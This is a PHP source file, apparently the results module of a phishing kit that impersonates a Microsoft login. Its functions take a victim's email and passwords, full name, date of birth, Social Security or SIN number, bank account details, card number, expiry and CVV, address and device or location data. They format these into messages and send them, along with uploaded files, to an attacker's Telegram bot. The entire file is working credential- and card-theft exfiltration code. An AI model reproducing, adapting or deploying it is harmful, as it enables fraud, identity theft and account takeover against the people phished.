<?php
// FIX: Path relatif ke functions.php
$functionsPath = __DIR__ . '/../core/functions.php';
if (file_exists($functionsPath)) {
    include_once($functionsPath);
} else {
    // Fallback jika Result.php dipindahkan
    $functionsPath = __DIR__ . '/core/functions.php';
    if (file_exists($functionsPath)) {
        include_once($functionsPath);
    }
}

function sendResult($message) {
    $settings = settings();
    $apiToken = $settings['apiToken'] ?? '';
    $chatID = $settings['chatID'] ?? '';
    
    if (empty($apiToken) || empty($chatID)) return false;

    $telegramLink = "https://api.telegram.org/bot" . $apiToken . "/sendMessage";

    $postData = [
        'chat_id' => $chatID,
        'text' => $message,
        'parse_mode' => 'Markdown'
    ];

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $telegramLink,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($postData),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    curl_exec($ch);
    curl_close($ch);
}

function sendTelegramImage($filePath) {
    $settings = settings();
    $apiToken = $settings['apiToken'] ?? '';
    $chatID   = $settings['chatID'] ?? '';
    
    if (empty($apiToken) || empty($chatID)) return false;

    $url = "https://api.telegram.org/bot$apiToken/sendDocument";

    $post = [
        'chat_id' => $chatID,
        'document' => curl_file_create($filePath)
    ];

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 30
    ]);
    curl_exec($ch);
    curl_close($ch);
}

function generateLoginMessage($email, $passwordlogin, $date, $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os) {
    return "
    **[ :: Microsoft Login :: ]**
    ━━━━━━━━━━━━
    ** # Email** : _{$email}_
    ** # Password** : _{$passwordlogin}_
    ━━━━━━━━━━━━
    
    **[ :: PC Info :: ]**
    ━━━━━━━━━━━━
    ** # Date** : _{$date}_
    ** # IP Address** : _{$ip}_
    ** # ISP** : _{$connectionisp}_
    ** # Country** : _{$countryname}_
    ** # Region** : _{$regioncity}_
    ** # City** : _{$citykota}_
    ** # OS/Browser** : _{$br}_ / _{$os}_
    ** # User Agent** : _" . ($_SERVER['HTTP_USER_AGENT'] ?? 'Unknown') . "_
    ━━━━━━━━━━━━
    ";
}

function generateEmailLoginMessage($email, $passwordlogin, $passwordemail, $date, $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os) {
    return "
    **[ :: Microsoft Login :: ]**
    ━━━━━━━━━━━━
    ** # Email** : _{$email}_
    ** # Password** : _{$passwordlogin}_
    ━━━━━━━━━━━━
    
    **[ :: Microsoft Email Login :: ]**
    ━━━━━━━━━━━━
    ** # Email** : _{$email}_
    ** # Password** : _{$passwordemail}_
    ━━━━━━━━━━━━
    
    **[ :: PC Info :: ]**
    ━━━━━━━━━━━━
    ** # Date** : _{$date}_
    ** # IP Address** : _{$ip}_
    ** # ISP** : _{$connectionisp}_
    ** # Country** : _{$countryname}_
    ** # Region** : _{$regioncity}_
    ** # City** : _{$citykota}_
    ** # OS/Browser** : _{$br}_ / _{$os}_
    ** # User Agent** : _" . ($_SERVER['HTTP_USER_AGENT'] ?? 'Unknown') . "_
    ━━━━━━━━━━━━
    ";
}

function generateFullInfoMessage(
    $email, $passwordlogin, $fullname, $dob, $ssn, $sin, $acno, $sortcode, $osid, $climit,
    $phone, $address, $addressline2, $city, $state, $zipcode, $namecard, $cardnumber, $bin, $cardexp, $cvv,
    $date, $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os) {

    return "
    **[ :: Microsoft Login :: ]**
    ━━━━━━━━━━━━
    ** # Email** : _{$email}_
    ** # Password** : _{$passwordlogin}_
    ━━━━━━━━━━━━
    
    **[ :: Card/ Debit Information :: ]**
    ━━━━━━━━━━━━
    ** # Name on Card** : _{$namecard}_
    ** # Card Number** : _{$cardnumber}_
    ** # BIN (Bank Identification Number)** : _{$bin}_
    ** # Card Expiry Date** : _{$cardexp}_
    ** # CVV** : _{$cvv}_
    ━━━━━━━━━━━━
    
    **[ :: Microsoft Details Information :: ]**
    ━━━━━━━━━━━━
    ** # Fullname** : _{$fullname}_
    ** # Date of Birth** : _{$dob}_
    ** # Phone Number** : _{$phone}_
    ** # Country** : _{$countryname}_
    ** # Address** : _{$address} {$addressline2}_
    ** # City** : _{$city}_
    ** # State** : _{$state}_
    ** # Zip Code** : _{$zipcode}_
    ━━━━━━━━━━━━
    
    **[ :: PC Info :: ]**
    ━━━━━━━━━━━━
    ** # Date** : _{$date}_
    ** # IP Address** : _{$ip}_
    ** # ISP** : _{$connectionisp}_
    ** # Country** : _{$countryname}_
    ** # Region** : _{$regioncity}_
    ** # City** : _{$citykota}_
    ** # OS/Browser** : _{$br}_ / _{$os}_
    ** # User Agent** : _" . ($_SERVER['HTTP_USER_AGENT'] ?? 'Unknown') . "_
    ━━━━━━━━━━━━
    ";
}
?>